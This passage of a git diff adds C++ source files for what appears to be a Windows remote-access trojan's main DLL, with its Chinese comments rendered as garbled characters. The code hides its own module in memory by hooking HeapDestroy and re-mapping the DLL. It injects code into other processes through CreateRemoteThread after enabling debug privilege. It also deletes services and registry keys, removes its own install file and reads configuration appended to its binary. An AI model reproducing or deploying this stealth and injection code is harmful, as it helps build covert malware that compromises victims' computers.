te32.th32ThreadID);
|
||||
|
||||
if(hThread != NULL)
|
||||
{
|
||||
if((int)lParam)
|
||||
ResumeThread(hThread);
|
||||
else
|
||||
SuspendThread(hThread);
|
||||
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
while (Thread32Next(hThreadSnap,&te32));
|
||||
}
|
||||
CloseHandle( hThreadSnap );
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI GotoCallBackAddr(LPVOID lParam)
|
||||
{
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
DWORD dwThreadId;
|
||||
HANDLE hThread;
|
||||
|
||||
if(cbFunc->pAddress)
|
||||
{
|
||||
hThread = CreateThread(
|
||||
NULL,
|
||||
0,
|
||||
cbFunc->pAddress,
|
||||
cbFunc->lParam,
|
||||
0,
|
||||
&dwThreadId);
|
||||
|
||||
if(hThread)
|
||||
CloseHandle(hThread);
|
||||
}
|
||||
|
||||
//<2F>Ƿ<EFBFBD>dll<6C>Ŀ<EFBFBD><C4BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD>ˣ<EFBFBD><CBA3>ͷ<EFBFBD>~
|
||||
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
|
||||
delete cbFunc;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI UnLoadLibrary(LPVOID lParam)
|
||||
{
|
||||
BYTE HeapDestroy_HookCode_bak[4];
|
||||
BYTE HeapDestroy_HookCode[4] = "\xC2\x04\x00";//RETN 0004
|
||||
MODULEINFO modinfo;
|
||||
DWORD oldProtect;
|
||||
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
HMODULE hDllInstance = cbFunc->lpDllBase;
|
||||
char dllpath_bak[MAX_PATH];
|
||||
|
||||
GetModuleFileName(hDllInstance, dllpath_bak, sizeof(dllpath_bak));
|
||||
GetModuleInformation(GetCurrentProcess(), hDllInstance, &modinfo, sizeof(MODULEINFO));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dll(<28><><EFBFBD><EFBFBD><EFBFBD>Լ<EFBFBD>)<29><><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD>,<2C><>ֹFreeLibrary<72><79>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>Щdll<6C><6C>ϵͳж<CDB3>ص<EFBFBD>
|
||||
incLibraryCount(hDllInstance);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̣߳<DFB3><CCA3>㶨<EFBFBD><E3B6A8><EFBFBD>ٻָ<D9BB>
|
||||
EnumAndSetThreadState((LPVOID)FALSE);
|
||||
|
||||
//FreeLibrary֮<79><D6AE>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>api<70><69>ַ<EFBFBD><D6B7><EFBFBD>ڴ<EFBFBD>Ҳ<EFBFBD>ᱻ<EFBFBD>ͷţ<CDB7>
|
||||
//<2F><><EFBFBD><EFBFBD>FreeLibrary֮<79><D6AE><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Щ<EFBFBD><D0A9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڻ<EFBFBD>ûfree<65><65><EFBFBD>ؼ<EFBFBD>API<50><49><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
VIRTUALALLOC *_VirtualAlloc = (VIRTUALALLOC*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
|
||||
LOADLIBRARY *_LoadLibrary = (LOADLIBRARY*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
|
||||
CREATETHREAD *_CreateThread = (CREATETHREAD*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread");
|
||||
MEMCPY *_memcpy = (MEMCPY*)
|
||||
GetProcAddress(GetModuleHandle("ntdll.dll"), "memcpy");
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>ܹؼ<DCB9><D8BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD>ã<EFBFBD><C3A3><EFBFBD> FreeLibrary ʱϵͳ<CFB5><CDB3><EFBFBD><EFBFBD><EFBFBD>ã<EFBFBD><C3A3><EFBFBD>Ҫhook<6F><6B>,
|
||||
//<2F><><EFBFBD>ܸ<EFBFBD>ϵͳ<CFB5>ƻ<EFBFBD><C6BB><EFBFBD><EFBFBD><EFBFBD>heap<61><70><EFBFBD><EFBFBD><EFBFBD><EFBFBD>֮<EFBFBD><D6AE><EFBFBD><EFBFBD>dllò<6C><C3B2><EFBFBD>ܹ<EFBFBD><DCB9><EFBFBD><EFBFBD><EFBFBD>
|
||||
//<2F><>ȴ<EFBFBD><C8B4><EFBFBD><EFBFBD><EFBFBD><EFBFBD>new<65><77>malloc<6F><63><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>, VirtualAlloc<6F><63><EFBFBD>Դ<EFBFBD><D4B4><EFBFBD>֮<EFBFBD><D6AE>
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD>ö<EFBFBD><C3B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǻ<EFBFBD><C7BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ģ<EFBFBD><C4A3><EFBFBD><EFBFBD><EFBFBD>һЩ<D2BB><D0A9><EFBFBD>벻<EFBFBD>ø<EFBFBD>,<2C><>list<T><3E><>push<73>ڲ<EFBFBD><DAB2><EFBFBD>new
|
||||
|
||||
HEAPDESTROY *_HeapDestroy = (HEAPDESTROY*)
|
||||
GetProcAddress(GetModuleHandle("kernel32.dll"), "HeapDestroy");
|
||||
|
||||
VirtualProtect(_HeapDestroy, 3, PAGE_EXECUTE_READWRITE, &oldProtect);
|
||||
|
||||
//<2F>ĵ<DEB8>һ<EFBFBD><D2BB>ָ<EFBFBD><D6B8>Ϊֱ<CEAA>ӷ<EFBFBD><D3B7><EFBFBD>
|
||||
_memcpy(HeapDestroy_HookCode_bak, _HeapDestroy, 3);
|
||||
_memcpy(_HeapDestroy, HeapDestroy_HookCode, 3);
|
||||
|
||||
|
||||
//Sleep(100);
|
||||
//<2F><><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>~~~^_^!
|
||||
FreeLibrary(hDllInstance);//<2F>ͷ<EFBFBD>
|
||||
|
||||
//<2F><EFBFBD><DEB8><EFBFBD>hook<6F>ĺ<EFBFBD><C4BA><EFBFBD>
|
||||
_memcpy(_HeapDestroy, HeapDestroy_HookCode_bak, 3);
|
||||
//_memcpy(_RtlFreeHeap, RtlFreeHeap_HookCode_bak, 3);
|
||||
|
||||
//<2F><>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>dll<6C><6C>ַ<EFBFBD><D6B7><EFBFBD><EFBFBD>ͬ<EFBFBD><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ棬<DAB4><E6A3AC><EFBFBD><EFBFBD>֮ǰ<D6AE><C7B0><EFBFBD>Ƿ<EFBFBD>dll<6C><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>ȥ
|
||||
if(_VirtualAlloc(hDllInstance,
|
||||
modinfo.SizeOfImage,
|
||||
MEM_COMMIT|MEM_RESERVE,
|
||||
PAGE_EXECUTE_READWRITE) == NULL
|
||||
)
|
||||
{
|
||||
//ʧ<>ܣ<EFBFBD><DCA3><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD>dll, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD><EFBFBD><EFBFBD>
|
||||
//ע<>⣬<EFBFBD><E2A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>е<EFBFBD><D0B5><EFBFBD>HideLibrary<72><79>LoadLibrary<72><79><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dllmain<69>ٴα<D9B4><CEB1><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѭ<EFBFBD><D1AD><EFBFBD><EFBFBD>
|
||||
HMODULE hDll = _LoadLibrary(dllpath_bak);
|
||||
|
||||
//<2F><><EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>hDll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC>ĵ<EFBFBD>ַ
|
||||
cbFunc->pAddress = (LPTHREAD_START_ROUTINE)
|
||||
((DWORD)cbFunc->pAddress - (DWORD)hDllInstance + (DWORD)hDll);
|
||||
|
||||
LPTHREAD_START_ROUTINE pFunc1 = (LPTHREAD_START_ROUTINE)
|
||||
((DWORD)EnumAndSetThreadState - (DWORD)hDllInstance + (DWORD)hDll);
|
||||
|
||||
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
_CreateThread(0, 0, pFunc1, (LPVOID)TRUE, 0, 0);
|
||||
|
||||
//<2F><><EFBFBD>ûص<C3BB><D8B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(cbFunc->pAddress)
|
||||
_CreateThread(0, 0, cbFunc->pAddress, cbFunc->lParam, 0, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
_memcpy(hDllInstance, cbFunc->lpNewDllBase, modinfo.SizeOfImage);
|
||||
|
||||
//<2F>ָ<EFBFBD><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>
|
||||
EnumAndSetThreadState((LPVOID)TRUE);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ԭdll<6C><6C>ַ<EFBFBD>ռ<EFBFBD><D5BC><EFBFBD>GotoCallBackAddr<64><72><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD><EFBFBD><EFBFBD>VirtualAlloc<6F><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||||
_CreateThread(0, 0, GotoCallBackAddr, cbFunc, 0, 0);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
DWORD WINAPI HideLibrary02(LPVOID lParam)
|
||||
{
|
||||
//__asm INT 3
|
||||
|
||||
PUNLOADLIB_CALLBACK cbFunc = (PUNLOADLIB_CALLBACK)lParam;
|
||||
|
||||
MODULEINFO modinfo;
|
||||
|
||||
GetModuleInformation(GetCurrentProcess(), cbFunc->lpDllBase, &modinfo, sizeof(MODULEINFO));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>͵<EFBFBD>ǰdllͬ<6C><CDAC><EFBFBD><EFBFBD>С<EFBFBD><D0A1><EFBFBD>ڴ<EFBFBD>
|
||||
cbFunc->lpNewDllBase = VirtualAlloc(NULL, modinfo.SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if(cbFunc->lpNewDllBase == NULL)
|
||||
return FALSE;
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>ǰdll<6C><6C><EFBFBD>ݿ<EFBFBD><DDBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݵ<EFBFBD><DDB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ棬
|
||||
memcpy(cbFunc->lpNewDllBase, modinfo.lpBaseOfDll, modinfo.SizeOfImage);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>copy<70><79>UnLoadLibrary<72>ĵ<EFBFBD>ַ,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>̵߳<DFB3><CCB5>õ<EFBFBD>ִַ<D6B7><D6B4>
|
||||
void *pNewUnLoadLibrary = LPVOID((DWORD)cbFunc->lpNewDllBase + (DWORD)UnLoadLibrary - (DWORD)modinfo.lpBaseOfDll);
|
||||
|
||||
DWORD ThreadId;
|
||||
HANDLE hThread = CreateThread(0,0,
|
||||
(LPTHREAD_START_ROUTINE)pNewUnLoadLibrary, (LPVOID)cbFunc, CREATE_SUSPENDED, &ThreadId);
|
||||
|
||||
if(hThread == NULL)
|
||||
{
|
||||
VirtualFree(cbFunc->lpNewDllBase, 0, MEM_DECOMMIT);
|
||||
delete cbFunc;
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
ResumeThread(hThread);
|
||||
CloseHandle(hThread);
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
|
||||
void HideLibrary(HMODULE hModule, LPVOID pCallBackAddr, LPVOID lParam)
|
||||
{
|
||||
|
||||
PUNLOADLIB_CALLBACK lparam = new UNLOADLIB_CALLBACK;
|
||||
|
||||
lparam->lpDllBase = hModule;
|
||||
lparam->lpNewDllBase = NULL;
|
||||
lparam->pAddress = (PTHREAD_START_ROUTINE)pCallBackAddr;
|
||||
lparam->lParam = lParam;
|
||||
|
||||
HANDLE hThread = CreateThread(0,0,
|
||||
HideLibrary02, (LPVOID)lparam, 0, NULL);
|
||||
|
||||
if(hThread == NULL)
|
||||
{
|
||||
delete lparam;
|
||||
return;
|
||||
}
|
||||
|
||||
CloseHandle(hThread);
|
||||
|
||||
return;
|
||||
}
|
||||
|
170
CcMainDll/CcMainDll/common/inject.h
Normal file
170
CcMainDll/CcMainDll/common/inject.h
Normal file
@@ -0,0 +1,170 @@
|
||||
#if !defined(AFX_INJECT_H_INCLUDED)
|
||||
#define AFX_INJECT_H_INCLUDED
|
||||
|
||||
#include <windows.h>
|
||||
#include <Tlhelp32.h>
|
||||
extern DWORD GetProcessID(LPCTSTR lpProcessName);
|
||||
|
||||
#define THREADSIZE 1024 * 10 //should be big enough
|
||||
|
||||
typedef SC_HANDLE (__stdcall *TOpenSCManager)(LPCTSTR, LPCTSTR, DWORD);
|
||||
typedef SC_HANDLE (__stdcall *TOpenService)(SC_HANDLE, LPCTSTR, DWORD);
|
||||
typedef BOOL (__stdcall *TQueryServiceStatus)(SC_HANDLE, LPSERVICE_STATUS);
|
||||
typedef BOOL (__stdcall *TControlService)(SC_HANDLE, DWORD, LPSERVICE_STATUS);
|
||||
typedef BOOL (__stdcall *TStartService)(SC_HANDLE, DWORD, LPCTSTR*);
|
||||
typedef BOOL (__stdcall *TDeleteService)(SC_HANDLE);
|
||||
typedef BOOL (__stdcall *TCloseServiceHandle)(SC_HANDLE);
|
||||
|
||||
typedef DWORD (__stdcall *TSHDeleteKey)(HKEY, LPCTSTR);
|
||||
|
||||
typedef BOOL (__stdcall *TCloseHandle)(HANDLE);
|
||||
typedef VOID (__stdcall *TSleep)(DWORD);
|
||||
typedef BOOL (__stdcall *TDeleteFile)(LPCTSTR);
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
TOpenSCManager MyOpenSCManager;
|
||||
TOpenService MyOpenService;
|
||||
TQueryServiceStatus MyQueryServiceStatus;
|
||||
TControlService MyControlService;
|
||||
TStartService MyStartService;
|
||||
TDeleteService MyDeleteService;
|
||||
TCloseServiceHandle MyCloseServiceHandle;
|
||||
|
||||
TSHDeleteKey MySHDeleteKey;
|
||||
|
||||
TCloseHandle MyCloseHandle;
|
||||
TSleep MySleep;
|
||||
TDeleteFile MyDeleteFile;
|
||||
|
||||
char strServiceName[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
char strServiceRegKey[100]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>е<EFBFBD>λ<EFBFBD><CEBB>
|
||||
}REMOTE_PARAMETER, *PREMOTE_PARAMETER;
|
||||
|
||||
bool EnableDebugPriv(void)
|
||||
{
|
||||
HANDLE hToken;
|
||||
LUID sedebugnameValue;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken))
|
||||
return false;
|
||||
if (!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&sedebugnameValue))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Luid = sedebugnameValue;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if(!AdjustTokenPrivileges(hToken,FALSE,&tkp,sizeof(tkp),NULL,NULL))
|
||||
{
|
||||
CloseHandle(hToken);
|
||||
return false;
|
||||
}
|
||||
CloseHandle(hToken);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
DWORD __stdcall MyFunc(LPVOID lparam)
|
||||
{
|
||||
REMOTE_PARAMETER *pRemoteParam = (REMOTE_PARAMETER *)lparam;
|
||||
SC_HANDLE service = NULL, scm = NULL;
|
||||
SERVICE_STATUS Status;
|
||||
|
||||
scm = pRemoteParam->MyOpenSCManager(0, 0,
|
||||
SC_MANAGER_CREATE_SERVICE);
|
||||
service = pRemoteParam->MyOpenService(
|
||||
scm, pRemoteParam->strServiceName,
|
||||
SERVICE_ALL_ACCESS | DELETE);
|
||||
if (scm==NULL&&service == NULL)
|
||||
return -1;
|
||||
|
||||
if (!pRemoteParam->MyQueryServiceStatus(service, &Status))
|
||||
return -1;
|
||||
|
||||
if (Status.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
if (!pRemoteParam->MyControlService(service, SERVICE_CONTROL_STOP, &Status))
|
||||
return -1;
|
||||
// Wait to service stopped
|
||||
pRemoteParam->MySleep(1000);
|
||||
}
|
||||
|
||||
|
||||
// delete service
|
||||
pRemoteParam->MyDeleteService(service);
|
||||
// delete regkey
|
||||
pRemoteParam->MySHDeleteKey(HKEY_LOCAL_MACHINE, pRemoteParam->strServiceRegKey);
|
||||
|
||||
if (service != NULL)
|
||||
pRemoteParam->MyCloseServiceHandle(service);
|
||||
if (scm != NULL)
|
||||
pRemoteParam->MyCloseServiceHandle(scm);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
bool InjectRemoveService(LPCTSTR lpProcessName, char *lpServiceName)
|
||||
{
|
||||
EnableDebugPriv();
|
||||
HANDLE hProcess;
|
||||
hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, GetProcessID(lpProcessName));
|
||||
|
||||
if (hProcess == NULL)
|
||||
return false;
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
REMOTE_PARAMETER remoteParameter;
|
||||
memset(&remoteParameter, 0, sizeof(remoteParameter));
|
||||
|
||||
HMODULE hAdvapi32 = LoadLibrary("advapi32.dll");
|
||||
remoteParameter.MyOpenSCManager = (TOpenSCManager)GetProcAddress(hAdvapi32, "OpenSCManagerA");
|
||||
remoteParameter.MyOpenService = (TOpenService)GetProcAddress(hAdvapi32, "OpenServiceA");
|
||||
remoteParameter.MyQueryServiceStatus = (TQueryServiceStatus)GetProcAddress(hAdvapi32, "QueryServiceStatus");
|
||||
remoteParameter.MyControlService = (TControlService)GetProcAddress(hAdvapi32, "ControlService");
|
||||
remoteParameter.MyStartService = (TStartService)GetProcAddress(hAdvapi32, "StartServiceA");
|
||||
remoteParameter.MyDeleteService = (TDeleteService)GetProcAddress(hAdvapi32, "DeleteService");
|
||||
remoteParameter.MyCloseServiceHandle = (TCloseServiceHandle)GetProcAddress(hAdvapi32, "CloseServiceHandle");
|
||||
FreeLibrary(hAdvapi32);
|
||||
|
||||
HMODULE hShlwapi = LoadLibrary("shlwapi.dll");
|
||||
remoteParameter.MySHDeleteKey = (TSHDeleteKey)GetProcAddress(hShlwapi, "SHDeleteKeyA");
|
||||
FreeLibrary(hShlwapi);
|
||||
|
||||
HMODULE hKernel32 = LoadLibrary("kernel32.dll");
|
||||
remoteParameter.MySleep = (TSleep)GetProcAddress(hKernel32, "Sleep");
|
||||
remoteParameter.MyCloseHandle = (TCloseHandle)GetProcAddress(hKernel32, "CloseHandle");
|
||||
FreeLibrary(hKernel32);
|
||||
|
||||
lstrcpy(remoteParameter.strServiceName, lpServiceName);
|
||||
lstrcpy(remoteParameter.strServiceRegKey, "SYSTEM\\CurrentControlSet\\Services\\");
|
||||
lstrcat(remoteParameter.strServiceRegKey, remoteParameter.strServiceName);
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
// Write thread parameter to Remote thread
|
||||
void *pDataRemote = (char*)VirtualAllocEx(hProcess, 0, sizeof(remoteParameter),
|
||||
MEM_COMMIT, PAGE_READWRITE);
|
||||
if (!pDataRemote)
|
||||
return false;
|
||||
if (!WriteProcessMemory( hProcess, pDataRemote, &remoteParameter, sizeof(remoteParameter), NULL))
|
||||
return false;
|
||||
|
||||
// Write Code to Remote thread
|
||||
DWORD cbCodeSize= THREADSIZE; // <20><><EFBFBD><EFBFBD><EFBFBD>Ŀռ䲻<D5BC><E4B2BB>һ<EFBFBD>㣬<EFBFBD><E3A3AC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>WriteProcessMemroy<6F><79>ʧ<EFBFBD><CAA7>
|
||||
PDWORD pCodeRemote = (PDWORD)VirtualAllocEx(hProcess, 0, cbCodeSize, MEM_COMMIT,
|
||||
PAGE_EXECUTE_READWRITE);
|
||||
|
||||
if (!pCodeRemote)
|
||||
return false;
|
||||
|
||||
if (!WriteProcessMemory(hProcess, pCodeRemote, &MyFunc, cbCodeSize, NULL))
|
||||
return false;
|
||||
|
||||
if (CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pCodeRemote, pDataRemote, 0, NULL) == NULL)
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
#endif // !defined(AFX_INJECT_H_INCLUDED)
|
235
CcMainDll/CcMainDll/common/install.cpp
Normal file
235
CcMainDll/CcMainDll/common/install.cpp
Normal file
@@ -0,0 +1,235 @@
|
||||
#include "..\pch.h"
|
||||
#include "install.h"
|
||||
#include "until.h"
|
||||
#include <Shlwapi.h>
|
||||
void RemoveService(LPCTSTR lpServiceName)
|
||||
{
|
||||
char Desc[MAX_PATH];
|
||||
char regKey[1024];
|
||||
SC_HANDLE service = NULL, scm = NULL;
|
||||
SERVICE_STATUS Status;
|
||||
__try
|
||||
{
|
||||
scm = OpenSCManager(NULL, NULL,
|
||||
SC_MANAGER_ALL_ACCESS);
|
||||
service = OpenService(
|
||||
scm, lpServiceName,
|
||||
SERVICE_ALL_ACCESS);
|
||||
if (scm==NULL&&service == NULL)
|
||||
__leave;
|
||||
|
||||
if (!QueryServiceStatus(service, &Status))
|
||||
__leave;
|
||||
|
||||
if (Status.dwCurrentState != SERVICE_STOPPED)
|
||||
{
|
||||
if (!ControlService(service,
|
||||
SERVICE_CONTROL_STOP,
|
||||
&Status))
|
||||
__leave;
|
||||
Sleep(800);
|
||||
}
|
||||
DeleteService(service);
|
||||
|
||||
memset(regKey, 0, sizeof(regKey));
|
||||
wsprintf(regKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
SHDeleteKey(HKEY_LOCAL_MACHINE, regKey);
|
||||
}
|
||||
__finally
|
||||
{
|
||||
if (service != NULL)
|
||||
CloseServiceHandle(service);
|
||||
if (scm != NULL)
|
||||
CloseServiceHandle(scm);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
void DeleteInstallFile(char *lpServiceName)
|
||||
{
|
||||
char strInstallModule[MAX_PATH];
|
||||
char strSubKey[1024];
|
||||
memset(strInstallModule, 0, sizeof(strInstallModule));
|
||||
wsprintf(strSubKey, "SYSTEM\\CurrentControlSet\\Services\\%s", lpServiceName);
|
||||
ReadRegEx(HKEY_LOCAL_MACHINE, strSubKey,
|
||||
"InstallModule", REG_SZ, strInstallModule, NULL, lstrlen(strInstallModule), 0);
|
||||
// ɾ<><C9BE><EFBFBD><EFBFBD>ֵ<EFBFBD><D6B5><EFBFBD>ļ<EFBFBD>
|
||||
WriteRegEx(HKEY_LOCAL_MACHINE, strSubKey, "InstallModule", REG_SZ, NULL, NULL, 3);
|
||||
for (int i = 0; i < 25; i++)
|
||||
{
|
||||
Sleep(3000);
|
||||
if (DeleteFile(strInstallModule))
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
int memfind(const char *mem, const char *str, int sizem, int sizes)
|
||||
{
|
||||
int da,i,j;
|
||||
if (sizes == 0) da = strlen(str);
|
||||
else da = sizes;
|
||||
for (i = 0; i < sizem; i++)
|
||||
{
|
||||
for (j = 0; j < da; j ++)
|
||||
if (mem[i+j] != str[j]) break;
|
||||
if (j == da) return i;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
#define MAX_CONFIG_LEN 1024
|
||||
|
||||
LPCTSTR FindConfigString(HMODULE hModule, LPCTSTR lpString)
|
||||
{
|
||||
char strFileName[MAX_PATH];
|
||||
char *lpConfigString = NULL;
|
||||
DWORD dwBytesRead = 0;
|
||||
GetModuleFileName(hModule, strFileName, sizeof(strFileName));
|
||||
|
||||
HANDLE hFile = CreateFile(strFileName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
|
||||
if (hFile == INVALID_HANDLE_VALUE)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
SetFilePointer(hFile, -MAX_CONFIG_LEN, NULL, FILE_END);
|
||||
lpConfigString = new char[MAX_CONFIG_LEN];
|
||||
ReadFile(hFile, lpConfigString, MAX_CONFIG_LEN, &dwBytesRead, NULL);
|
||||
CloseHandle(hFile);
|
||||
|
||||
int offset = memfind(lpConfigString, lpString, MAX_CONFIG_LEN, 0);
|
||||
if (offset == -1)
|
||||
{
|
||||
delete lpConfigString;
|
||||
return NULL;
|
||||
}
|
||||
else
|
||||
{
|
||||
return lpConfigString + offset;
|
||||
}
|
||||
}
|
||||
// <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
void ReConfigService(char *lpServiceName)
|
||||
{
|
||||
int rc = 0;
|
||||
HKEY hKey = 0;
|
||||
|
||||
try{
|
||||
char buff[500];
|
||||
//config service
|
||||
strncpy(buff, "SYSTEM\\CurrentControlSet\\Services\\", sizeof buff);
|
||||
strcat(buff, lpServiceName);
|
||||
rc = RegCreateKey(HKEY_LOCAL_MACHINE, buff, &hKey);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
{
|
||||
throw "";
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>ΪOwner<65>ģ<EFBFBD><C4A3><EFBFBD>ΪShare
|
||||
DWORD dwType = 0x120;
|
||||
rc = RegSetValueEx(hKey, "Type", 0, REG_DWORD, (unsigned char*)&dwType, sizeof(DWORD));
|
||||
SetLastError(rc);
|
||||
if(ERROR_SUCCESS != rc)
|
||||
throw "RegSetValueEx(start)";
|
||||
}
|
||||
catch(char *str)
|
||||
{
|
||||
if(str && str[0])
|
||||
{
|
||||
rc = GetLastError();
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
// <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD>ȡȨ<C8A1><C8A8>
|
||||
BOOL RegKeySetACL(LPTSTR lpKeyName, DWORD AccessPermissions, ACCESS_MODE AccessMode)
|
||||
{
|
||||
PSECURITY_DESCRIPTOR SD;
|
||||
EXPLICIT_ACCESS ea;
|
||||
PACL OldDACL, NewDACL;
|
||||
SE_OBJECT_TYPE ObjectType = SE_REGISTRY_KEY; //#include <aclapi.h>
|
||||
|
||||
//Ĭ<>Ϸ<EFBFBD><CFB7><EFBFBD>ֵΪFALSE
|
||||
BOOL bRet = FALSE;
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>յ<EFBFBD>ACL;
|
||||
if (SetEntriesInAcl(0, NULL, NULL, &OldDACL) != ERROR_SUCCESS)
|
||||
return bRet;
|
||||
|
||||
if (SetEntriesInAcl(0, NULL, NULL, &NewDACL) != ERROR_SUCCESS)
|
||||
return bRet;
|
||||
|
||||
//<2F><>ȡ<EFBFBD><C8A1><EFBFBD>е<EFBFBD>ACL<43>б<EFBFBD><D0B1><EFBFBD>OldDACL:
|
||||
if(GetNamedSecurityInfo(lpKeyName, ObjectType,
|
||||
DACL_SECURITY_INFORMATION,
|
||||
NULL, NULL,
|
||||
&OldDACL,
|
||||
NULL, &SD) != ERROR_SUCCESS)
|
||||
{
|
||||
return bRet;
|
||||
}
|
||||
|
||||
